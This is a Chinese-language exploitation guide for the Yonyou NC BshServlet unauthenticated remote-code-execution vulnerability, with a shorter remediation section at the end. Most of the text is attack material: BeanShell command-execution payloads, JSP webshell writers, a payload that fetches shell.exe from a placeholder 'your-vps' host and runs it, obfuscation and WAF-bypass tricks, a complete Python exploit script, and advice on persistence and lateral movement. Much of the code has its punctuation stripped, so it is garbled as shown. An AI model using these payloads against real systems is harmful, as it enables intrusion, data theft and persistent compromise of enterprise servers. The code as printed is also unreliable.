
1. 项目概述一个典型的企业级应用RCE漏洞最近在内部安全评估和SRC漏洞挖掘中一个关于用友NC的漏洞反复被提及那就是bsh.servlet.BshServlet远程代码执行漏洞。这个漏洞并非新面孔但在一些特定版本的用友NC系统中由于其默认配置或历史遗留问题依然具有较高的实战价值。简单来说这个漏洞允许攻击者通过一个特定的HTTP接口直接向服务器提交BeanShell脚本代码并执行从而完全控制服务器。对于企业安全从业者、红队人员以及负责用友NC系统运维的工程师而言理解这个漏洞的原理、利用方式以及修复方案是进行有效防御和风险排查的必修课。用友NC作为国内主流的大型企业ERP解决方案承载着众多企业的核心财务、供应链、人力资源等数据。其架构通常基于Java EE部署在WebLogic、WebSphere或Tomcat等应用服务器上。bsh.servlet.BshServlet这个组件本意可能是为开发或运维提供便捷的脚本调试功能但在生产环境中暴露且未加访问控制就成为了一个极其危险的“后门”。本文将从一个实战者的角度深入拆解该漏洞的触发原理、多种利用手法、在真实网络环境中的探测与利用技巧并分享在漏洞复现和防御加固过程中的关键注意事项。2. 漏洞原理深度解析BeanShell Servlet为何成为突破口要理解这个漏洞首先得弄清楚BeanShell是什么以及它为什么会出现在用友NC里。BeanShell是一个轻量级的、面向Java的脚本语言解释器。它能够动态执行标准的Java语法甚至进行一些脚本化的简化。在Java应用的开发、测试阶段开发者有时会集成BeanShell用于快速执行一些代码片段来测试功能或诊断问题这通常通过一个HTTP Servlet来提供Web界面。2.1 漏洞核心BshServlet的未授权访问用友NC中的bsh.servlet.BshServlet类就提供了这样一个通过HTTP请求执行BeanShell脚本的功能。漏洞的核心在于接口暴露该Servlet被映射到了Web应用的某个URL路径下例如/servlet/~ic/bsh.servlet.BshServlet、/uapws/bsh.servlet.BshServlet或/bsh.servlet.BshServlet等路径因版本和部署差异而不同。缺乏鉴权访问这个Servlet接口没有任何身份认证或授权检查。任何能够访问到用友NC应用的用户包括未认证的匿名用户都可以直接向其发送请求。脚本执行该Servlet接收HTTP POST请求中的参数通常是bsh.script将其内容作为BeanShell脚本直接执行。这就相当于在应用服务器上开了一个“Web命令行”攻击者可以随意执行Java代码。由于Java本身能力强大通过这个接口几乎可以执行任何操作读写文件、执行系统命令、创建网络连接、反弹Shell甚至直接操作数据库。2.2 请求流程与代码层面分析从代码层面看当请求到达BshServlet时其doPost方法大致会执行以下流程// 伪代码示意流程 String script request.getParameter(bsh.script); Interpreter interpreter new Interpreter(); // 将请求、响应等对象传入脚本上下文使脚本能直接操作HTTP流 interpreter.set(request, request); interpreter.set(response, response); interpreter.set(out, response.getWriter()); // 直接执行用户传入的脚本内容 Object result interpreter.eval(script); // 将执行结果输出到HTTP响应 out.println(result);关键点在于interpreter.eval(script)这一行它无条件地执行了来自用户输入的script字符串。没有任何白名单过滤、沙箱机制或权限校验。更危险的是request和response对象被直接置入了脚本的执行上下文这意味着攻击者编写的脚本可以完全操控HTTP请求与响应为漏洞利用提供了极大的便利。注意在实际的用友NC版本中Servlet的具体类名和路径可能略有差异有时可能是bsh.servlet.BshServlet有时可能被其他类调用。但其本质都是暴露了BeanShell的eval功能。2.3 与同类漏洞的对比这个漏洞模式非常经典与很多Java应用中的“表达式注入”、“模版注入”漏洞如EL表达式注入、SpEL注入、OGNL注入原理相似都是将未经验证的用户输入交给了某种“解释器”执行。不同的是BeanShell的能力更接近完整的Java因此其危害性通常更大。它也不同于反序列化漏洞如Fastjson、Shiro后者需要触发一条复杂的“gadget”链而BeanShell RCE是直接的代码执行利用起来更为简单直接。3. 实战环境搭建与漏洞探测在真正动手测试之前我们必须强调所有漏洞研究和测试必须在合法授权、隔离的实验室环境中进行。未经授权对任何系统进行漏洞扫描或攻击测试都是违法行为。3.1 靶场环境准备为了复现漏洞我们需要一个存在漏洞的用友NC环境。通常有以下几种途径官方历史版本安装包寻找特定版本的用友NC安装程序例如网上流传的一些用于学习的旧版本。安装过程可能比较复杂需要配置Java环境、数据库如Oracle、SQL Server和应用服务器。漏洞靶场集成环境一些网络安全学习平台或开源靶场项目如Vulhub、VulnApp可能集成了该漏洞的简化环境。这些环境通常已配置好一键启动适合快速复现。Docker环境这是目前最便捷的方式。安全社区有时会有人制作并分享漏洞环境的Docker镜像。我们可以使用Docker快速拉取和运行一个模拟环境。# 假设存在一个名为 vulhub/yonyou-nc-bsh-rce 的镜像 docker pull vulhub/yonyou-nc-bsh-rce docker run -d -p 8080:8080 vulhub/yonyou-nc-bsh-rce启动后访问http://your-ip:8080即可看到用友NC的登录界面。实操心得用友NC的完整安装极其耗时耗力涉及大量商业软件许可和配置。对于纯粹的安全研究强烈建议使用Docker靶场或精简的测试环境。如果必须安装务必在隔离的虚拟机中操作并确保不连接任何真实网络。3.2 漏洞路径探测与指纹识别漏洞利用的第一步是找到那个暴露的Servlet路径。由于用友NC版本和部署方式多样路径并不固定。1. 常见路径猜测与直接访问我们可以尝试直接访问一些常见的疑似路径/servlet/~ic/bsh.servlet.BshServlet/uapws/bsh.servlet.BshServlet/bsh.servlet.BshServlet/ncservlet/bsh.servlet.BshServlet/servlet/bsh.servlet.BshServlet在浏览器中访问这些URL。如果返回一个空白页面、一个错误页面但非404或者页面内容包含“BeanShell”等相关字样则说明该路径可能存在。更典型的情况是直接访问会返回一个简单的输入框或页面提示你输入脚本但在实际漏洞版本中这个Web界面可能被禁用仅支持API调用。2. 使用工具进行扫描手动猜测效率低我们可以借助目录扫描工具Burp Suite Intruder将常见路径列表作为载荷对目标主机进行爆破观察响应状态码和长度。不同于404的响应如200、500都值得进一步检查。dirsearch / gobuster这些专门的目录扫描工具速度更快。python3 dirsearch.py -u http://target:port -e jsp,do,action -w /path/to/yonyou_nc_paths.txt我们需要自己准备一个包含用友NC常见Servlet路径的字典文件。3. 识别用友NC系统在探测前确认目标是用友NC也很重要。一些指纹特征包括网页标题或版权信息中包含“用友”、“Yonyou”、“NC”。登录页面特征典型的蓝色调登录界面有“用友NC”Logo。特定静态资源路径如/uapws/、/portal/、/nccloud/等。特定Cookie如JSESSIONID的格式或域名。使用浏览器插件如Wappalyzer或命令行工具如whatweb进行识别。4. 漏洞利用手法全解从命令执行到权限维持找到漏洞入口后接下来就是构造利用Payload。BeanShell脚本能力强大因此利用方式也非常灵活。4.1 基础利用执行系统命令这是最直接的目标。由于BeanShell可以调用Java的Runtime类执行系统命令轻而易举。Payload构造向漏洞URL发送一个POST请求内容类型为application/x-www-form-urlencoded主体中包含bsh.script参数。POST /uapws/bsh.servlet.BshServlet HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded bsh.scriptexec(whoami)更常见的做法是使用Runtime.getRuntime().exec()bsh.scriptRuntime.getRuntime().exec(cmd /c whoami)但是这样执行我们看不到回显。我们需要将命令执行的结果读取并输出到HTTP响应中。带回显的命令执行Payload一个经典的BeanShell脚本用于执行命令并回显结果bsh.scriptString cmd whoami; Process p Runtime.getRuntime().exec(cmd); java.io.BufferedReader br new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream())); String line; while ((line br.readLine()) ! null) { out.println(line); }这个脚本做了以下几件事定义要执行的命令whoami。通过Runtime.getRuntime().exec()启动进程。获取进程的标准输出流。通过一个BufferedReader逐行读取输出。使用预置的out对象即response.getWriter()将每一行输出到HTTP响应中。在Burp Suite的Repeater模块中发送这个请求响应体中就会显示当前服务器进程的执行用户如nt authority\system、root等。4.2 进阶利用上传WebShell与权限维持直接执行命令是“一次性”的。为了获得一个持久的、交互性更强的控制通道我们通常选择上传一个WebShell。1. 利用echo命令写文件Windows/Linux环境首先我们需要知道Web应用的绝对路径。可以通过执行pwdLinux或cdWindows等命令来探测或者利用Servlet上下文。// 探测路径 bsh.scriptout.println(request.getRealPath(/));得到路径后例如/opt/yonyou/nc_web/我们可以构造命令写入一个JSP WebShell。// Linux下写入一个简单的JSP Shell bsh.scriptString[] cmd {/bin/sh, -c, echo %page import\java.util.*,java.io.*\%% if (request.getParameter(\cmd\) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(\cmd\)); BufferedReader br new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line br.readLine()) ! null) { out.println(line); } } % /opt/yonyou/nc_web/cmd.jsp}; Process p Runtime.getRuntime().exec(cmd); out.println(Done);2. 直接使用Java写文件更优雅的方式是直接用Java代码写文件避免命令字符串的转义问题。bsh.scriptString webPath request.getRealPath(/) cmd.jsp; String shellContent %page import\\\java.util.*,java.io.*\\\%% if (request.getParameter(\\\cmd\\\) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(\\\cmd\\\)); BufferedReader br new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line br.readLine()) ! null) { out.println(line); } } %; FileOutputStream fos new FileOutputStream(webPath); fos.write(shellContent.getBytes()); fos.close(); out.println(WebShell written to: webPath);写入成功后访问http://target.com/cmd.jsp?cmdwhoami即可执行命令。3. 上传二进制文件如反弹Shell木马如果需要上传一个复杂的后门程序如meterpreter的exe或elf文件可以通过BeanShell脚本读取一个远程URL的内容并写入本地。bsh.scriptString url http://your-vps/shell.exe; String savePath /tmp/shell.exe; java.net.URL u new java.net.URL(url); java.io.InputStream is u.openStream(); java.io.FileOutputStream fos new java.io.FileOutputStream(savePath); byte[] buffer new byte[4096]; int len; while ((len is.read(buffer)) 0) { fos.write(buffer, 0, len); } fos.close(); is.close(); out.println(File downloaded to: savePath); // 然后可以执行它 Runtime.getRuntime().exec(chmod x /tmp/shell.exe /tmp/shell.exe);4.3 利用技巧与绕过在实际渗透中可能会遇到一些限制。1. 命令分隔与空格绕过某些部署环境可能对命令参数做了简单过滤。我们可以尝试不同的分隔符和空格表示法。Linux:cat /etc/passwd-cat${IFS}/etc/passwd或cat/etc/passwdWindows:whoami-whoami或who^ami2. 编码与混淆如果应用层有WAF可能会检测Runtime、exec等关键词。我们可以对Payload进行简单的编码。使用Base64编码命令先在本地编码whoami-d2hvYW1p然后在脚本中解码执行。bsh.scriptimport sun.misc.BASE64Decoder; String cmd new String(new BASE64Decoder().decodeBuffer(d2hvYW1p)); Process p Runtime.getRuntime().exec(cmd); // ... 读取回显使用字符串拼接、反射等Java特性来混淆关键词。bsh.scriptString a Runt; String b ime; Class c Class.forName(java.lang.ab); java.lang.reflect.Method m c.getMethod(getRuntime); Object r m.invoke(null); m r.getClass().getMethod(exec, String.class); Process p (Process) m.invoke(r, whoami); // ...3. 不出网场景下的利用如果目标服务器不能访问外网不出网上传WebShell和反弹连接都会失败。此时思路转向写入内存WebShell尝试写入一个更隐蔽的、基于当前进程的WebShell。信息收集利用漏洞读取系统文件/etc/passwd,C:\Windows\System32\drivers\etc\hosts、应用配置文件web.xml,jdbc.properties获取数据库密码等敏感信息。横向移动如果当前权限足够可以尝试添加用户、开启远程桌面Windows或SSH密钥Linux为后续从内网其他机器访问做准备。5. 自动化利用与工具集成手动利用在测试时可行但在批量评估或红队行动中效率太低。我们需要将其自动化。5.1 编写Python利用脚本一个基础的Python利用脚本应该包含以下功能检测目标是否存在漏洞通过访问特定路径并分析响应。执行指定的系统命令并返回结果。支持上传自定义的WebShell文件。import requests import sys import base64 class BshRCEExploit: def __init__(self, target_url): self.target target_url.rstrip(/) # 常见路径列表 self.common_paths [ /uapws/bsh.servlet.BshServlet, /servlet/~ic/bsh.servlet.BshServlet, /bsh.servlet.BshServlet, /ncservlet/bsh.servlet.BshServlet ] self.vuln_path None def detect(self): 探测漏洞路径 for path in self.common_paths: url self.target path try: # 发送一个无害的探测请求例如输出一个字符串 data {bsh.script: print(test)} resp requests.post(url, datadata, timeout10, verifyFalse) if resp.status_code 200 and test in resp.text: self.vuln_path path print(f[] Vulnerable path found: {url}) return True except requests.exceptions.RequestException as e: continue print([-] No vulnerable path detected.) return False def execute_cmd(self, command): 执行系统命令 if not self.vuln_path: print([-] Please run detect() first.) return url self.target self.vuln_path # 构造带回显的BeanShell脚本 script f String cmd {command}; Process p Runtime.getRuntime().exec(cmd); BufferedReader br new BufferedReader(new InputStreamReader(p.getInputStream())); StringBuilder sb new StringBuilder(); String line; while ((line br.readLine()) ! null) {{ sb.append(line).append(\\n); }} out.print(sb.toString()); data {bsh.script: script} try: resp requests.post(url, datadata, timeout15, verifyFalse) print(resp.text) except Exception as e: print(f[-] Execution failed: {e}) def upload_webshell(self, local_file_path, remote_filename): 上传本地文件作为WebShell if not self.vuln_path: return url self.target self.vuln_path with open(local_file_path, rb) as f: file_content f.read() # 将文件内容进行Base64编码避免传输问题 b64_content base64.b64encode(file_content).decode() # 构造写入文件的脚本 script f import sun.misc.BASE64Decoder; String filePath request.getRealPath(/) {remote_filename}; String b64 {b64_content}; byte[] bytes new BASE64Decoder().decodeBuffer(b64); FileOutputStream fos new FileOutputStream(filePath); fos.write(bytes); fos.close(); out.println(Upload success: filePath); data {bsh.script: script} try: resp requests.post(url, datadata, timeout30, verifyFalse) print(resp.text) except Exception as e: print(f[-] Upload failed: {e}) if __name__ __main__: if len(sys.argv) 3: print(Usage: python exploit.py target_url command) print(Example: python exploit.py http://192.168.1.100:8080 whoami) sys.exit(1) target sys.argv[1] cmd sys.argv[2] exploit BshRCEExploit(target) if exploit.detect(): exploit.execute_cmd(cmd)这个脚本提供了基本的框架在实际使用中还需要增加错误处理、编码处理、代理支持等功能。5.2 集成到现有框架成熟的漏洞利用框架如Metasploit、Cobalt Strike都有相应的模块或可以编写Aggressor Script来集成此漏洞利用。Metasploit可以搜索是否有现成的exploit/multi/http/yonyou_nc_bsh_rce模块。如果没有可以自己编写一个Msf::Exploit::Remote模块核心就是发送上述的POST请求。Cobalt Strike可以编写一个Aggressor Script通过bdllgo或execute-assembly加载一个.NET程序集或者直接通过shell命令调用Python脚本实现对目标的批量利用和会话建立。将漏洞利用武器化、集成化是红队评估中的关键一步。6. 漏洞修复与防御加固建议对于企业安全运维人员来说知道如何修复和防御远比利用漏洞更重要。6.1 临时缓解措施如果无法立即升级或打补丁可以采取以下紧急措施删除或禁用Servlet找到用友NC的Web应用部署目录通常是WEB-INF/web.xml定位到bsh.servlet.BshServlet的Servlet映射配置将其注释或删除然后重启应用服务器。!-- 找到类似配置并注释掉 -- !-- servlet servlet-nameBeanShell/servlet-name servlet-classbsh.servlet.BshServlet/servlet-class /servlet servlet-mapping servlet-nameBeanShell/servlet-name url-pattern/bsh.servlet.BshServlet/url-pattern /servlet-mapping --注意直接删除bsh.jar文件可能导致其他功能依赖问题建议从配置层面禁用映射。网络层访问控制在防火墙或WAF上设置规则禁止外部IP访问包含bsh.servlet.BshServlet、/uapws/等关键路径的URL。但此方法治标不治本无法防御内网攻击。应用层WAF规则如果部署了WAF可以添加规则拦截包含bsh.script、Runtime.getRuntime()、exec(等关键词的POST请求。6.2 根本解决方案官方补丁升级联系用友官方技术支持获取针对该漏洞的最新安全补丁或版本升级包。这是最推荐、最彻底的方式。官方补丁可能会直接移除该Servlet或增加严格的访问控制。代码安全审计与加固对于有自研能力或深度定制的团队应对所有Servlet进行审计确保任何执行外部输入的功能都有严格的权限校验、输入过滤和沙箱机制。遵循“最小权限原则”生产环境不应保留任何调试或测试接口。定期漏洞扫描与基线检查将用友NC系统纳入日常漏洞扫描范围。使用专业的漏洞扫描器或IAST交互式应用安全测试工具定期对系统进行检测。同时建立应用服务器配置基线禁止加载非必要的Servlet和JAR包。6.3 安全开发规范启示从这个漏洞中我们可以总结出对开发人员至关重要的安全规范生产环境隔离调试接口、管理后台、监控端点等非业务功能绝对不允许暴露在公网或低权限网络区域。必须通过独立的网络策略、强身份认证和授权进行保护。输入即代码必须沙箱任何将用户输入作为代码、命令、查询、表达式执行的功能都是极端危险的。必须设计白名单机制、沙箱环境如Java SecurityManager或使用严格受限的解释器。默认安全框架或组件提供的便捷功能在生产环境部署时应默认关闭。所有功能的开启都需要显式配置和安全评估。依赖项管理定期梳理和更新第三方库如bsh.jar移除不再使用或存在已知高危漏洞的组件。7. 在真实攻防场景中的思考与拓展在真实的红蓝对抗或渗透测试中遇到用友NC系统bsh.servlet.BshServlet漏洞往往是突破口之一但它绝不是唯一。7.1 漏洞利用链的构建单一RCE漏洞的利用可能受到权限、杀软、网络策略的限制。高手往往会尝试构建利用链信息收集利用RCE读取配置文件获取数据库连接信息jdbc.properties。数据库提权连接数据库尝试利用数据库特性如Oracle的Java存储过程、SQL Server的xp_cmdshell进行提权或横向移动。凭证窃取与横向移动从数据库或服务器内存中 dump 出其他系统用户的哈希或密码用于攻击内网其他机器。权限维持除了上传WebShell还可能创建计划任务、服务、启动项或者植入内存马如Java Agent内存马实现更隐蔽的持久化。7.2 与其它用友NC漏洞的联动用友NC作为一个庞大的系统历史上曝出的漏洞远不止这一个。在实战中需要综合运用反序列化漏洞如果bsh.servlet.BshServlet路径被修复或删除可以尝试寻找Fastjson、Jackson、XStream等组件的反序列化点。文件上传漏洞寻找其他未授权或可绕过的文件上传接口。SQL注入在一些老版本或定制模块中可能存在。XXE漏洞如热词中提到的“用友nc cloud iupdateservice接口存在xxe漏洞”通过XXE可能实现文件读取进而辅助RCE。7.3 防御方的监控与溯源作为防守方不能只依赖修补一个漏洞。需要建立纵深防御体系HIDS监控在服务器部署主机入侵检测系统监控Runtime.exec()、ProcessBuilder等敏感方法的调用以及异常进程的创建。网络流量分析监控出网流量特别是向异常IP或端口发起的连接这可能是反弹Shell或下载木马的迹象。日志审计确保应用服务器Tomcat、WebLogic等的访问日志和错误日志被完整收集并集中分析。针对访问bsh.servlet.BshServlet等敏感路径的请求设置告警。蜜罐部署在内网部署伪装成用友NC系统的蜜罐诱捕攻击者并分析其攻击手法和工具。这个漏洞本身技术原理并不复杂但它像一面镜子映照出企业级应用在开发、部署、运维全生命周期中可能存在的安全问题。从急功近利的“功能实现”转向审慎的“安全设计”是每一个开发者和架构师都需要补上的一课。而对于安全人员来说保持对这类“经典”漏洞的熟悉度并理解其在现代攻防体系中的演变是构建有效防御的基石。在测试时我习惯在成功执行命令后不仅查看权限还会立刻检查服务器的进程列表和网络连接判断是否存在其他安全产品或监控这往往决定了下一步是利用还是撤退。